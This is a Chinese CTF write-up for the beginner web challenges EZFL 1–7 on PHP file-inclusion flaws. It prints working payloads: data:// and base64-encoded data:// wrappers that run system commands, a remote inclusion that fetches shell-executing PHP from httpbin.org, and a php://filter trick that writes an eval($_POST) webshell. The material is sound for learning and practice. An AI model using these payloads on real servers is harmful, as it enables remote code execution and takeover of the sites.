青岑CTF web入门 EZFL系列
EZFL
打开源码看见了一个php文件,双击访问:

再次打开源码看见了base64编码的字符串:



EZFL_1
依旧看源码:


用php伪协议读取即可


EZFL_2
依旧看源码,这次php://filter被拦截了,用data伪协议绕过:
?file=data://text/plain,<?php system("cat flag.php");?>
然后在打开源码看见了flag

EZFL_3
这次查看源码又看见了base64,翻译过来就是这次只能靠自己了。尝试使用data协议读取flag,但是没成功。那就先看看flag藏在哪里了:
?file=data://text/plain,<?php system('ls /');?>
发现可疑目标:


EZFL_4
这一关php这个关键字被过滤了,构造payload:
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

EZFL_5
这题很有意思,php和data关键字都被过滤了。访问/etc/passwd没找到什么有用的东西。访问/entrypoint.sh文件看到了有用的信息:

flag放在了/var/www/html/flag.php文件里面了,但是路径上有php三个字,不能直接读。
尝试 ?file=http://www.baidu.com,页面正常渲染 → 证明 allow_url_include = On,RFI 成立。这是从读文件升级到代码执行的关键跳板。

那就构造payload:
?file=http://httpbin.org/base64/PD89YGNhdCBmKmA_Pg==
成功拿到flag:

Payload 的最后一部分是一个 Base64 编码的字符串:PD89YGNhdCBmKmA_Pg==,如果我们把这段 Base64 解码,得到的内容是:
<?=`cat f*`?>
这是一段极其精简的恶意的 PHP 代码:
<?=和?>:这是 PHP 的短标签语法,等同于<?php echo ...; ?>。cat f*:在 PHP 中,反引号(反单引号)的作用是执行操作系统的 Shell 命令。
httpbin.org 有一个专门测试 Base64 的接口:httpbin.org/base64/{被编码的字符串}。 当你访问这个链接时,httpbin.org 会在服务器端将字符串解码,并且只把解码后的纯文本内容作为网页正文返回给服务器。 目标服务器的 include 函数接收到了这段包含 PHP 标签的代码,将其当作本地 PHP 脚本直接执行了。
EZFL_6
有了上一题的经验,这一题就好写多了。同样过滤了php和data,先访问/entrypoint.sh文件看看:

echo $FLAG > /qingcenctf.txt:容器启动时,系统会把环境变量里的 Flag 写入到根目录下的/qingcenctf.txt文件中。
直接构造payload就能读取了:

EZFL_7
<?php
highlight_file(__FILE__);
if (isset($_POST['filename']) && isset($_POST['content'])) {
$filename = $_POST['filename'];
$content = $_POST['content'];
file_put_contents($filename, "<?php exit();?>" . $content);
echo "write ok";
}
?>
这是非常经典的一个场景,通常被称为“死亡 exit 绕过”。 这段代码允许你通过 POST 请求向服务器上的任意文件写入任意内容,但为了防止你写入恶意代码(如 WebShell),开发者在你的内容前面强制加上了 <?php exit();?>
最常用的绕过方式是利用 php://filter 配合 Base64 解码。
base64编码是使用64个可打印ASCII字符(A-Z、a-z、0-9、+、/)将任意字节序列数据编码成ASCII字符串,另有”=”符号用作后缀用途。base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。- 当
$content被加上了<?php exit; ?>以后,我们可以使用php://filter/write=convert.base64-decode来首先对其解码。在解码的过程中,字符< ? ; >空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有”phpexit”和我们传入的其他字符。
payload:
?filename=php://filter/convert.base64-decode/resource=1.php&content=aPD9waHAgZXZhbCgkX1BPU1RbYV0pOw==

再使用蚁剑连接拿下flag即可


openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构
更多推荐



所有评论(0)